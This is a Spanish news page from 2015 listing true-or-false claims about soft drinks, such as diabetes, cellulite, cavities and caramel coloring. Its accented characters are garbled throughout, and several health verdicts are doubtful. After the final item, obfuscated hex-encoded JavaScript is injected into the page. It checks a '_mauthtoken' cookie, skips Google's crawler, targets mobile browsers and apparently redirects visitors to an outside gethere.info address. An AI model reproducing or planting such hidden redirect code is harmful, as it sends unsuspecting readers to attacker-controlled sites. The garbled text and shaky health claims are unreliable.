Entretenimiento

25 Oct 2015
Entretenimiento | Por: Redacción

Mitos y verdades sobre las bebidas carbonatadas

Las bebidas azucaradas estA?n llenas de calorAi??as y de acuerdo con recientes investigaciones parecen activar los genes que nos predisponen a ganar peso.

Fuente: Diario Correo

Las bebidas azucaradas estA?n llenas de calorAi??as y de acuerdo con recientes investigaciones parecen activar los genes que nos predisponen a ganar peso. A?QuAi?? tan frecuente consumAi??s este tipo de bebidas? A?CreAi??s que las gaseosas dietAi??ticas son mejores para tu organismo? A?Basta solo con revisar las calorAi??as que consume? A grandes mitos, grandes realidades y aquAi?? te resumimos los mA?s importantes.

ai???SA?lo tomo gaseosas light o sin calorAi??as porque no engordanai???

FALSO. Las gaseosas que se presentan como light terminan engordando mA?s a quienes las consumen en comparaciA?n con aquellas gaseosas “normales”, Jamee Guerra, nutricionista de Bodytech, seAi??ala que aunque las gaseosas se presenten como libres de calorAi??as, estas sAi?? causan consecuencias que conllevan al aumento de peso. Al consumir estas gaseosas “libres” de calorAi??as, las personas incrementan el consumo de otros alimentos altos en energAi??a, porque piensan que al estar consumiendo menos calorAi??as, pueden exceder el consumo de otros alimentos altos en grasa.

“Las gaseosas pueden causar diabetes”

CIERTO. El consumo de soda puede causar diabetes, sin embargo, la gaseosa es un factor de riesgo que junto con el sedentarismo y el consumo de otros alimentos con altos contenidos de azA?cares refinados y el componente hereditario, aumentan esta posibilidad.

“La gaseosas clara es mA?s saludable que la oscura”

CIERTO. Efectivamente puede ser mA?s saludable consumir una gaseosa clara. Mientras el color caramelo, responsable del tono cafAi?? en algunas gaseosas puede ser daAi??ino para tu salud, ya que contiene componentes como la cafeAi??na y el A?cido fosfA?rico. “La cafeAi??na puede causar un aumento en el ritmo cardAi??aco y el A?cido fosfA?rico puede ser nocivo para los riAi??ones”, asegura la especialista.

“Le debo mi celulitis a las gaseosas”

CIERTO. Las gaseosas pueden causar celulitis si tenAi??s una predisposiciA?n genAi??tica, ya que el exceso de azA?cares refinados ayuda a la producciA?n de grasas en el organismo.

“Las gaseosas debilitan los huesos”

FALSO. Diversos especialistas dicen que esta afirmaciA?n probablemente viene de la idea de que si las personas toman mA?s gaseosa, dejaran de tomar leche. Pero investigaciones recientes no han encontrado una conexiA?n precisa entre la ingesta de gaseosa y la densidad de los huesos.

“El azA?car de la gaseosas engorda”

CIERTO. La concentraciA?n de azA?car de las gaseosas y su alto contenido calA?rico pueden ser la causa de que los pantalones te queden mA?s ajustados. Sin embargo, lo que verdaderamente causa la obesidad es el sedentarismo y los malos hA?bitos alimentarios.

“El caramelo de las bebidas como colorante puede causar cA?ncer”

FALSO. Esta idea surge luego de que se realizara un experimento en ratones a quienes se les dio caramelo, y algunos desarrollan cA?ncer. En humanos, una investigaciA?n de agencias reguladoras de la salud encontrA? que el caramelo de las bebidas con cola llegarAi??a a causar cA?ncer solo si las personas llegaran a consumir al menos mil latas al dAi??a de esta bebida durante su vida.

“Las gaseosas afectan mi estA?mago”

CIERTO. Aunque el A?cido gA?strico del estA?mago es mA?s poderoso que todos los A?cidos que se encuentran en las gaseosas, cuando se consumen estos productos se aumenta la cantidad de jugo gA?strico, lo que conlleva a algunas personas a padecer gastritis y reflujo gastroesofA?gico.

“El consumo de gaseosas causa caries dental y daAi??a el esmalte dental”

CIERTO. Los componentes que posees las bebidas cola producen que el esmalte de los dientes se desgaste. Si el diente se deteriora, consecuentemente, se origina caries.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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